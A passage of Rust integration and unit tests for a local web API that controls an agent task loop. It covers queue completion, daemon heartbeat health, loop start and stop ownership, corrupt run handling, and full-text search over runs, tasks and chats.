18651        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18652        queue.put(&mut task).expect("file the held task");
18653
18654        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18655        assert_eq!(done.status, 200, "{}", done.body);
18656        assert_eq!(done.json()["status_str"], "done");
18657        assert!(
18658            done.json()["hold_reason"].is_null(),
18659            "a done task cannot still be waiting on something: {}",
18660            done.body
18661        );
18662    }
18663
18664    #[tokio::test]
18665    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18666        // `queue_done` is the phone's way to close a task the loop never
18667        // settled itself - after confirming a manual GitHub merge, say - and
18668        // that is just as much "this task's story is over" as the loop's own
18669        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18670        let f = Fixture::start().await;
18671        let queue = f.queue();
18672        let runs = f.runs();
18673        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18674        // The last attempt has to have actually landed for the earlier one
18675        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18676        // for the case where it didn't.
18677        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18678
18679        let mut task = Task::new(
18680            "landed by hand".to_owned(),
18681            "x".to_owned(),
18682            PathBuf::from("/repo/magi"),
18683            Source::Human,
18684        );
18685        task.runs.push("20260101-000000-doa1".to_owned());
18686        task.runs.push("20260101-000000-doa2".to_owned());
18687        queue.put(&mut task).expect("file the task");
18688
18689        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18690        assert_eq!(done.status, 200, "{}", done.body);
18691
18692        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18693            .expect("run still on disk under this fixture's own home");
18694        assert_eq!(
18695            reloaded_run.status,
18696            RunStatus::Superseded,
18697            "closing the task by hand must relabel the earlier blocked attempt exactly \
18698             like the loop's own settle path does"
18699        );
18700    }
18701
18702    #[tokio::test]
18703    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18704        // Closing a task by hand is allowed from any status, including one
18705        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18706        // manual merge the loop never watched, say. Nothing here is provably
18707        // why the task is done, so nothing earlier gets relabelled either.
18708        let f = Fixture::start().await;
18709        let queue = f.queue();
18710        let runs = f.runs();
18711        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18712        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18713
18714        let mut task = Task::new(
18715            "closed with nothing actually landed".to_owned(),
18716            "x".to_owned(),
18717            PathBuf::from("/repo/magi"),
18718            Source::Human,
18719        );
18720        task.runs.push("20260101-000000-dob1".to_owned());
18721        task.runs.push("20260101-000000-dob2".to_owned());
18722        queue.put(&mut task).expect("file the task");
18723
18724        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18725        assert_eq!(done.status, 200, "{}", done.body);
18726
18727        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18728            .expect("run still on disk under this fixture's own home");
18729        assert_eq!(
18730            reloaded_run.status,
18731            RunStatus::Blocked,
18732            "the last recorded attempt never landed, so the earlier one must not be \
18733             relabelled as superseded by it"
18734        );
18735    }
18736
18737    #[tokio::test]
18738    async fn unknown_ids_are_json_not_found_on_both_stores() {
18739        let f = Fixture::start().await;
18740
18741        let run = f.get("/api/runs/nosuchrun").await;
18742        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18743
18744        assert_eq!(run.status, 404);
18745        assert_eq!(task.status, 404);
18746        assert!(
18747            run.json()["error"]
18748                .as_str()
18749                .is_some_and(|e| e.contains("run")),
18750            "the error names what was not found: {}",
18751            run.body
18752        );
18753        assert!(
18754            task.json()["error"]
18755                .as_str()
18756                .is_some_and(|e| e.contains("task")),
18757            "the error names what was not found: {}",
18758            task.body
18759        );
18760    }
18761
18762    #[tokio::test]
18763    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18764        let f = Fixture::start().await;
18765
18766        let missing = f.get("/api/health").await.json();
18767        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18768
18769        write_daemon(
18770            f.home.path(),
18771            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18772        );
18773        let stale = f.get("/api/health").await.json();
18774        assert_eq!(
18775            stale["daemon"]["running"], false,
18776            "a minute without a heartbeat is a dead daemon, not a busy one"
18777        );
18778        assert!(
18779            stale["daemon"]["stale_for_secs"]
18780                .as_i64()
18781                .is_some_and(|s| s >= 55),
18782            "staleness is reported so the UI can say how long: {stale}"
18783        );
18784
18785        write_daemon(f.home.path(), Timestamp::now());
18786        let fresh = f.get("/api/health").await.json();
18787        assert_eq!(fresh["daemon"]["running"], true);
18788        assert_eq!(fresh["daemon"]["idle"], false);
18789        assert_eq!(fresh["daemon"]["pid"], 4242);
18790        assert_eq!(fresh["daemon"]["completed"], 7);
18791        assert_eq!(
18792            fresh["daemon"]["current"][0]["task"],
18793            "20260902-140501-aaaa"
18794        );
18795        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18796    }
18797
18798    #[tokio::test]
18799    async fn the_loop_is_not_running_until_something_starts_it() {
18800        let f = Fixture::start().await;
18801
18802        let view = f.get("/api/loop").await.json();
18803        assert_eq!(view["running"], false);
18804        assert_eq!(
18805            view["owned"], false,
18806            "nobody owns a loop that does not exist: {view}"
18807        );
18808        assert_eq!(view["stopping"], false);
18809        assert_eq!(view["last_error"], Value::Null);
18810        assert_eq!(view["daemon"]["running"], false);
18811        assert_eq!(
18812            view["repo"], "/repo/magi",
18813            "the repository a start would use, named before it is started"
18814        );
18815    }
18816
18817    #[tokio::test]
18818    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18819        let f = Fixture::start().await;
18820
18821        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18822        assert_eq!(res.status, 200, "{}", res.body);
18823        let view = res.json();
18824        assert_eq!(view["running"], true);
18825        assert_eq!(
18826            view["owned"], true,
18827            "the loop the UI started is the UI's own to stop: {view}"
18828        );
18829        assert_eq!(
18830            view["merge"],
18831            Value::Null,
18832            "no override was given, so each repository's own config decides"
18833        );
18834
18835        // The same object from the route a waking phone polls first. Two
18836        // surfaces disagreeing about whether anything is running is exactly
18837        // the confusion this UI exists to remove.
18838        let health = f.get("/api/health").await.json();
18839        assert_eq!(health["loop"]["running"], true, "{health}");
18840        assert_eq!(health["loop"]["owned"], true, "{health}");
18841
18842        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18843    }
18844
18845    #[tokio::test]
18846    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18847        let f = Fixture::start().await;
18848        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18849        assert_eq!(first.status, 200, "{}", first.body);
18850
18851        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18852        assert_eq!(
18853            again.status, 409,
18854            "two loops on one queue race for the same claims: {}",
18855            again.body
18856        );
18857        assert!(
18858            again.json()["error"]
18859                .as_str()
18860                .is_some_and(|e| e.contains("already running the loop")),
18861            "the refusal has to say why: {}",
18862            again.body
18863        );
18864        assert_eq!(
18865            f.get("/api/loop").await.json()["running"],
18866            true,
18867            "and the loop that was already running is untouched by it"
18868        );
18869
18870        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18871    }
18872
18873    #[tokio::test]
18874    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18875        let f = Fixture::start().await;
18876        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18877
18878        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18879        assert_eq!(
18880            res.status, 200,
18881            "the answer must not wait for the loop: a run in flight is tens of \
18882             minutes and the operator is holding a phone: {}",
18883            res.body
18884        );
18885
18886        let view = settled(&f, |v| v["running"] == false).await;
18887        assert_eq!(view["owned"], false);
18888        assert_eq!(
18889            view["stopping"], false,
18890            "a loop that has stopped is not still stopping: {view}"
18891        );
18892        assert_eq!(
18893            view["last_error"],
18894            Value::Null,
18895            "a loop that was asked to stop did not fail: {view}"
18896        );
18897
18898        // Idempotent, because the operator cannot tell a slow stop from a lost
18899        // one and will press it again.
18900        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18901        assert_eq!(twice.status, 200, "{}", twice.body);
18902    }
18903
18904    #[tokio::test]
18905    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18906        let f = Fixture::start().await;
18907        // How the operator has been doing it: a `magi serve` of their own,
18908        // heartbeat fresh, in the same home this UI reads.
18909        write_daemon(f.home.path(), Timestamp::now());
18910
18911        let view = f.get("/api/loop").await.json();
18912        assert_eq!(view["running"], false, "not in this process: {view}");
18913        assert_eq!(view["owned"], false, "and not this process's to control");
18914        assert_eq!(
18915            view["daemon"]["running"], true,
18916            "but a loop is alive somewhere, which is what the UI must say"
18917        );
18918        assert_eq!(view["daemon"]["pid"], 4242);
18919
18920        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18921            let res = f.post("/api/loop", Some(body)).await;
18922            assert_eq!(
18923                res.status, 409,
18924                "neither button may pretend to work on someone else's loop: {}",
18925                res.body
18926            );
18927            assert!(
18928                res.json()["error"]
18929                    .as_str()
18930                    .is_some_and(|e| e.contains("4242")),
18931                "the refusal has to name the process the operator must go to: {}",
18932                res.body
18933            );
18934        }
18935        assert_eq!(
18936            f.get("/api/loop").await.json()["running"],
18937            false,
18938            "and the refusal started nothing"
18939        );
18940    }
18941
18942    #[tokio::test]
18943    async fn a_stale_status_file_is_not_a_foreign_owner() {
18944        let f = Fixture::start().await;
18945        write_daemon(
18946            f.home.path(),
18947            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18948        );
18949
18950        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18951        assert_eq!(
18952            res.status, 200,
18953            "a daemon killed a minute ago must not lock the loop out of its \
18954             own home for good: {}",
18955            res.body
18956        );
18957        assert_eq!(res.json()["running"], true);
18958
18959        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18960    }
18961
18962    #[tokio::test]
18963    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18964        let f = Fixture::start().await;
18965        let before = f.get("/api/health").await.json()["loop_rev"]
18966            .as_u64()
18967            .expect("a loop revision");
18968
18969        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18970
18971        let after = f.get("/api/health").await.json()["loop_rev"]
18972            .as_u64()
18973            .expect("a loop revision");
18974        assert!(
18975            after > before,
18976            "the loop is in-process state, so this counter is the only thing \
18977             that tells a second device the first one started it: {before} -> \
18978             {after}"
18979        );
18980
18981        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18982    }
18983
18984    #[tokio::test]
18985    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18986        let f = Fixture::with_loop(launch_broken).await;
18987
18988        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18989        assert_eq!(
18990            res.status, 200,
18991            "starting it is not the failure: {}",
18992            res.body
18993        );
18994
18995        let view = settled(&f, |v| v["last_error"].is_string()).await;
18996        assert_eq!(
18997            view["running"], false,
18998            "a loop that died must not read as running, or the operator has \
18999             nothing to press: {view}"
19000        );
19001        assert_eq!(view["owned"], false);
19002        assert!(
19003            view["last_error"]
19004                .as_str()
19005                .is_some_and(|e| e.contains("read-only file system")),
19006            "the phone is where a loop that died at 3am is visible: {view}"
19007        );
19008
19009        // And it can be started again: the corpse was reaped, not left to
19010        // occupy the slot.
19011        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19012        assert_eq!(again.status, 200, "{}", again.body);
19013        assert!(
19014            again.json()["last_error"]
19015                .as_str()
19016                .is_none_or(|e| !e.contains("read-only file system")),
19017            "a fresh start does not keep showing why the last one died: {}",
19018            again.body
19019        );
19020    }
19021
19022    #[tokio::test]
19023    async fn a_newer_daemon_status_file_still_renders() {
19024        let f = Fixture::start().await;
19025        // A field this build has never heard of must not turn the status line
19026        // into a 500; that is the whole reason the reader is permissive.
19027        std::fs::write(
19028            f.home.path().join("daemon.json"),
19029            serde_json::json!({
19030                "schema": 2,
19031                "updated_at": Timestamp::now().to_string(),
19032                "idle": true,
19033                "surprise": { "nested": [1, 2, 3] },
19034            })
19035            .to_string(),
19036        )
19037        .expect("write daemon.json");
19038
19039        let health = f.get("/api/health").await;
19040
19041        assert_eq!(health.status, 200);
19042        assert_eq!(health.json()["daemon"]["running"], true);
19043    }
19044
19045    #[tokio::test]
19046    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19047        let f = Fixture::start().await;
19048        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19049        let broken = f.runs().join("20260902-140502-bad");
19050        std::fs::create_dir_all(&broken).expect("run dir");
19051        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19052
19053        let list = f.get("/api/runs").await;
19054        let detail = f.get("/api/runs/20260902-140502-bad").await;
19055
19056        assert_eq!(list.status, 200);
19057        let listed = list.json();
19058        let ids: Vec<&str> = listed
19059            .as_array()
19060            .expect("an array")
19061            .iter()
19062            .map(|r| r["id"].as_str().expect("an id"))
19063            .collect();
19064        assert_eq!(
19065            ids,
19066            vec!["20260902-140501-good"],
19067            "one unreadable run must not cost the operator the whole history"
19068        );
19069        assert_eq!(detail.status, 500);
19070        assert!(
19071            detail.json()["error"]
19072                .as_str()
19073                .is_some_and(|e| e.contains("run.json")),
19074            "the failure names the file to look at: {}",
19075            detail.body
19076        );
19077        // A skipped run has to be countable somewhere, or the UI shows an
19078        // empty history with nothing to explain it - which is exactly what a
19079        // directory full of older-schema runs looks like.
19080        let health = f.get("/api/health").await;
19081        assert_eq!(health.json()["runs_unreadable"], 1);
19082    }
19083
19084    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19085    #[tokio::test]
19086    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19087        let f = Fixture::start().await;
19088        let runs = f.runs();
19089        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19090        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19091        // Text three levels down, in a shape no current RunState has: an older
19092        // schema must still search.
19093        let path = runs.join("20260902-140502-bbbb").join("run.json");
19094        let mut v: serde_json::Value =
19095            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19096        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19097        std::fs::write(&path, v.to_string()).unwrap();
19098        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19099        std::fs::write(
19100            runs.join("20260902-140503-cccc").join("run.json"),
19101            "{ not json",
19102        )
19103        .unwrap();
19104
19105        let res = f.get("/api/search?scope=runs&q=quokka").await;
19106        assert_eq!(res.status, 200, "{}", res.body);
19107        let v = res.json();
19108        assert_eq!(v["total"], 1, "{v}");
19109        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19110        assert_eq!(v["hits"][0]["field"], "text");
19111        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19112        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19113        assert!(
19114            parts
19115                .iter()
19116                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19117            "{v}"
19118        );
19119        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19120        assert_eq!(
19121            flat, "The Quokka leaks across threads",
19122            "whitespace is collapsed"
19123        );
19124
19125        // Terms are ANDed, across different fields, case-insensitively.
19126        let both = f
19127            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19128            .await
19129            .json();
19130        assert_eq!(both["total"], 1, "{both}");
19131        let neither = f
19132            .get("/api/search?scope=runs&q=quokka%20zebra")
19133            .await
19134            .json();
19135        assert_eq!(neither["total"], 0, "{neither}");
19136        // Everything in the task statement is reachable, not only the row text.
19137        let stmt = f
19138            .get("/api/search?scope=runs&q=mobile%20first")
19139            .await
19140            .json();
19141        assert_eq!(stmt["total"], 2, "{stmt}");
19142        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19143        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19144    }
19145
19146    #[test]
19147    fn snippet_ignores_terms_longer_than_the_field() {
19148        let terms = ["ok".to_owned(), "elephant".to_owned()];
19149        let parts = snippet_of("ok", &terms);
19150        assert_eq!(
19151            parts,
19152            vec![SnippetPart {
19153                text: "ok".to_owned(),
19154                hit: true
19155            }]
19156        );
19157    }
19158
19159    #[test]
19160    fn snippet_marks_matches_longer_than_the_window() {
19161        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19162        let hit_len = |parts: &[SnippetPart]| -> usize {
19163            parts
19164                .iter()
19165                .filter(|p| p.hit)
19166                .map(|p| p.text.chars().count())
19167                .sum()
19168        };
19169        let total =
19170            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19171
19172        let long = "a".repeat(120);
19173        let parts = snippet_of(&long, std::slice::from_ref(&long));
19174        assert!(hit_len(&parts) > 0, "{parts:?}");
19175        assert!(total(&parts) <= cap);
19176
19177        let ja = "あ".repeat(130);
19178        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19179        assert!(hit_len(&parts) > 0, "{parts:?}");
19180        assert!(total(&parts) <= cap);
19181
19182        // A short hit, then one straddling the window's end.
19183        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19184        let term = format!("ab{}", "c".repeat(100));
19185        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19186        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19187        assert!(total(&parts) <= cap);
19188
19189        // Only the head matches: not highlighted.
19190        let text = format!("{}z", "a".repeat(119));
19191        let parts = snippet_of(&text, &["a".repeat(120)]);
19192        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19193    }
19194
19195    #[tokio::test]
19196    async fn search_caps_hits_and_snippet_length() {
19197        let f = Fixture::start().await;
19198        let runs = f.runs();
19199        for n in 0..(SEARCH_MAX_HITS + 5) {
19200            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19201        }
19202        let v = f.get("/api/search?scope=runs&q=web").await.json();
19203        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19204        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19205        assert_eq!(v["truncated"], true);
19206        // Every listed run hit carries its list row for the page's filters.
19207        assert!(
19208            v["hits"]
19209                .as_array()
19210                .unwrap()
19211                .iter()
19212                .all(|h| h["run"]["status"] == "merged")
19213        );
19214
19215        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19216        let parts = snippet_of(&long, &["needle".to_owned()]);
19217        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19218        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19219        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19220    }
19221
19222    #[tokio::test]
19223    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19224        let f = Fixture::start().await;
19225        let queue = f.queue();
19226        let mut t = Task::new(
19227            "short title".to_owned(),
19228            "line one\nthe hidden Armadillo detail".to_owned(),
19229            PathBuf::from("/repo/magi"),
19230            Source::Agent {
19231                run: "r1".to_owned(),
19232                node: "chat".to_owned(),
19233            },
19234        );
19235        t.last_error = Some("disk full on /tmp".to_owned());
19236        queue.put(&mut t).expect("file the task");
19237
19238        for (q, want) in [
19239            ("armadillo", 1),
19240            ("disk%20FULL", 1),
19241            ("chat", 1),
19242            ("queued", 1),
19243            ("short%20nothing", 0),
19244        ] {
19245            let v = f
19246                .get(&format!("/api/search?scope=tasks&q={q}"))
19247                .await
19248                .json();
19249            assert_eq!(v["total"], want, "{q}: {v}");
19250        }
19251        for bad in [
19252            "/api/search?scope=tasks&q=",
19253            "/api/search?scope=tasks&q=%20",
19254            "/api/search?scope=chats&q=",
19255            "/api/search?scope=chats&q=%20",
19256            "/api/search?scope=nope&q=a",
19257            "/api/search?q=a",
19258        ] {
19259            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19260        }
19261    }
19262
19263    /// Write one conversation file the way the store reads it back.
19264    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19265        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19266            .expect("seat value");
19267        let turns: Vec<serde_json::Value> = turns
19268            .iter()
19269            .map(|(who, body)| {
19270                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19271            })
19272            .collect();
19273        let doc = serde_json::json!({
19274            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19275            "status": status, "turns": turns,
19276            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19277            "seat": seat,
19278        });
19279        let dir = f.home.path().join("talks");
19280        std::fs::create_dir_all(&dir).expect("talks dir");
19281        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19282    }
19283
19284    #[test]
19285    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19286        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19287            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19288            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19289            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19290            "seat": crate::agent::SeatState::new("talk", "test", 1)
19291        })).unwrap();
19292        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19293        talk.title = Some(talk::ChatTitle {
19294            text: "最近の話題".into(),
19295            source: talk::TitleSource::Generated,
19296        });
19297        let doc = talk_search_doc(&talk);
19298        assert_eq!(doc["title"], "最近の話題");
19299        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19300        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19301        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19302    }
19303
19304    #[test]
19305    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19306        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19307        talk.title = Some(talk::ChatTitle {
19308            text: "Saved title".into(),
19309            source: talk::TitleSource::Manual,
19310        });
19311        talk.turns = serde_json::from_value(serde_json::json!([
19312            {
19313                "who": "operator", "sender": "external", "body": "External plain",
19314                "at": "2026-09-08T20:58:02Z"
19315            },
19316            {
19317                "who": "operator", "body": "External message",
19318                "at": "2026-09-08T20:58:03Z",
19319                "messages": [{
19320                    "sender": "external", "body": "External message", "attachments": []
19321                }]
19322            }
19323        ]))
19324        .unwrap();
19325        let doc = talk_search_doc(&talk);
19326        assert_eq!(doc["turns"][0]["external"], "External plain");
19327        assert_eq!(doc["turns"][1]["external"], "External message");
19328        assert!(doc["turns"][0].get("operator").is_none());
19329        assert!(doc["turns"][1].get("operator").is_none());
19330        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19331        assert_eq!(hit.field, "external");
19332        let target = hit.target.unwrap();
19333        assert_eq!((target.turn, target.message), (1, 0));
19334    }
19335
19336    #[test]
19337    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19338        let talk: Talk = serde_json::from_value(serde_json::json!({
19339            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19340            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19341            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19342                "messages":[{"body":"First message", "attachments":[], "reply":null},
19343                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19344                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19345            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19346            "seat": crate::agent::SeatState::new("talk", "test", 1)
19347        })).unwrap();
19348        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19349        let target = hit.target.unwrap();
19350        assert_eq!((target.turn, target.message), (0, 1));
19351        assert_eq!(target.text, chat_text_key("Search 運用"));
19352        assert_eq!(
19353            hit.snippet,
19354            snippet_of("Search 運用", &search_terms("運用 Another"))
19355        );
19356        assert!(
19357            search_chat(&search_terms("Saved"), &talk)
19358                .unwrap()
19359                .target
19360                .is_none()
19361        );
19362        assert!(
19363            search_chat(&search_terms("ab12"), &talk)
19364                .unwrap()
19365                .target
19366                .is_none()
19367        );
19368        // All terms may still match across separate display rows.
19369        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19370        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19371    }
19372
19373    #[test]
19374    fn chat_search_targets_opener_derived_titles() {
19375        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19376            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19377            "status": "open", "turns": [
19378                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19379                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19380                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19381            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19382            "seat": crate::agent::SeatState::new("talk", "test", 1)
19383        }))
19384        .unwrap();
19385        let terms = search_terms("運用");
19386        let hit = search_chat(&terms, &talk).unwrap();
19387        assert_eq!(hit.field, "title");
19388        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19389        let target = hit.target.unwrap();
19390        assert_eq!((target.turn, target.message), (1, 0));
19391        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19392        // A blank first send can put the opener line in a later display row.
19393        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19394            {"body":"", "attachments":[], "reply":null},
19395            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19396        ]))
19397        .unwrap();
19398        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19399        assert_eq!((target.turn, target.message), (1, 1));
19400        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19401        talk.title = Some(talk::ChatTitle {
19402            text: "運用について".into(),
19403            source: talk::TitleSource::Manual,
19404        });
19405        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19406    }
19407
19408    #[tokio::test]
19409    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19410        let f = Fixture::start().await;
19411        write_talk(
19412            &f,
19413            "20260901-000001-aaaa",
19414            "open",
19415            &[
19416                (
19417                    "operator",
19418                    "\n  Why does the Pangolin cache expire?\nsecond line",
19419                ),
19420                ("agent", "Because the TTL is thirty seconds."),
19421            ],
19422        );
19423        write_talk(
19424            &f,
19425            "20260901-000002-bbbb",
19426            "closed",
19427            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19428        );
19429        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19430
19431        let search = |q: &'static str| {
19432            let f = &f;
19433            async move {
19434                f.get(&format!("/api/search?scope=chats&q={q}"))
19435                    .await
19436                    .json()
19437            }
19438        };
19439
19440        let v = search("PANGOLIN").await;
19441        assert_eq!(v["scope"], "chats");
19442        assert_eq!(v["total"], 1, "{v}");
19443        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19444        assert_eq!(v["hits"][0]["field"], "title");
19445        assert_eq!(v["unreadable"], 1, "{v}");
19446        let marked: Vec<&str> = v["hits"][0]["snippet"]
19447            .as_array()
19448            .unwrap()
19449            .iter()
19450            .filter(|p| p["hit"] == true)
19451            .map(|p| p["text"].as_str().unwrap())
19452            .collect();
19453        assert_eq!(marked, ["Pangolin"]);
19454
19455        // An agent turn, in a closed conversation.
19456        let v = search("zebra").await;
19457        assert_eq!(v["total"], 1, "{v}");
19458        assert_eq!(v["hits"][0]["field"], "agent");
19459        // Words may sit in different turns; all must be present.
19460        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19461        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19462        // Bookkeeping is not searched.
19463        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19464            assert_eq!(search(q).await["total"], 0, "{q}");
19465        }
19466        // The first line only is the title; the second line is still a turn.
19467        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19468        // Open conversations are listed before closed ones.
19469        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19470
19471        let v = f.get("/api/search?scope=nope&q=a").await;
19472        assert_eq!(v.status, 400);
19473        assert!(
19474            v.body.contains("scope must be runs, tasks or chats"),
19475            "{}",
19476            v.body
19477        );
19478    }
19479
19480    #[test]
19481    fn a_question_card_links_a_task_id_to_the_task_page() {
19482        let start = APP_JS
19483            .find("function updateAskCard(")
19484            .expect("updateAskCard exists");
19485        let body = &APP_JS[start..];
19486        let body = &body[..body.find("\n}\n").expect("function end")];
19487        assert!(body.contains("question.run_is_task"));
19488        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19489        assert!(body.contains("`#/runs/${question.run}`"));
19490        assert!(body.contains("\"task\" : \"run\""));
19491    }
19492
19493    #[test]
19494    fn plain_text_message_surfaces_go_through_linkify() {
19495        assert!(APP_JS.contains("function linkify("));
19496        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19497        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19498        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19499        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19500        assert!(!APP_JS.contains("innerHTML = text"));
19501    }
19502
19503    #[test]
19504    fn implementation_rate_views_keep_independent_samples() {
19505        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
